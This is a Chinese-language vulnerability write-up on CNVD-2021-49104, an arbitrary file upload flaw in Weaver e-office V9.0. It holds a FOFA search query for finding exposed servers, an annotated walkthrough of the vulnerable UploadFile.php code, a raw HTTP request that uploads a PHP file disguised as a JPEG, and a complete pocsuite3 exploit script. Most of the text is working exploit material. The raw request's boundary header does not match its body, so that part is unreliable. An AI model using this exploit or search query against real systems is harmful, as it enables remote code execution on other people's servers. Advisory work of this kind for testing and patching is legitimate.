漏洞描述
泛微e-office是泛微旗下的一款标准协同移动办公平台。
CNVD-2021-49104
由于 e-office 未能正确处理上传模块中的用户输入,攻击者可以通过该漏洞构造恶意的上传数据包,最终实现任意代码执行。
该漏洞CVSS评分:9.0,危害等级:高危
FOFA 查询
app="泛微-EOffice"
影响范围
影响版本:泛微e-office V9.0
代码分析
出现问题的代码在/general/index/UploadFile.php文件中,具体位置是
if ($uploadType == "eoffice_logo") {
$targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/";
if (!file_exists($targetPath)) {
mkdir($targetPath, 511, true);
}
$ext = $this->getFileExtension($_FILES['Filedata']['name']);
//将上传的文件尾缀传给变量$ext
$_targetFile = "logo-eoffice" . $ext;
//将上传的文件名改为logo-eoffice.$ext
$targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile;
//将['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的‘//’替换为'/'
if (move_uploaded_file($tempFile, $targetFile)) {
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
$param1 = $param2 = false;
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";
$param1 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";
$param1 = exequery($connection, $query);
}
//这段代码就是判断文件是否上传成功,如果成功了就更新数据库中的内容
$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";
$result = exequery($connection, $query);
$row = mysql_fetch_array($result);
if (!$row) {
$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";
$param2 = exequery($connection, $query);
} else {
$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";
$param2 = exequery($connection, $query);
}
if ($param1 && $param2) {
echo $_targetFile;
//上传成功后就输出文件名
} else {
echo 0;
}
} else {
echo 0;
}
}
漏洞分析
如上面代码所示,代码并没有对传入的文件进行过滤,如果我们传入一个php文件,那么传入的test.php就会变成logo-eoffice.php,并且传入到$_SERVER['DOCUMENT_ROOT']/images/logo目录下
POC
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: url:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LOGIN_LANG=cn; PHPSESSID=74c67d4ff7f3e45061684cba5a55c63b
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
Content-Length: 192
--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg
<?php
phpinfo();
?>
--123123--
pocsuite
# -*- coding:utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from urllib.parse import urljoin
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = "CNVD-2021-49104"
version ='泛微 e-office v9.0'
author = ["HADESI"]
vulDate = "2020-12-15"
createDate = "2021-11-30"
updateDate = "2021-11-30"
references =["https://nosec.org/home/detail/4910.html"]
name ="泛微E-Office文件上传漏洞(CNVD-2021-49104)"
appPowerLink = ''
appName = '泛微E-Office'
appVersion = 'v9.0'
vulType = 'VUL_TYPE.UPLOAD_FILES '
desc = '''
泛微E-Office文件上传漏洞
'''
samples = []
install_requires = ['']
def _verify(self):
result ={}
path ="/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
headers={'Content-Type': 'multipart/form-data; boundary=123123'}
url = urljoin(self.url, path)
data='''
--123123
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg
<?php
phpinfo();
?>
--123123--'''
try:
rr = requests.post(url=url,headers=headers,data=data,timeout=5)
resq_results=requests.get(url=self.url+'/images/logo/logo-eoffice.php')
if "System" in resq_results.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['path'] = self.url+'/images/logo/logo-eoffice.php'
#result['VerifyInfo']['Name'] = payload
except Exception as e:
pass
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
return self._verify()
register_poc(DemoPOC)
?
?
|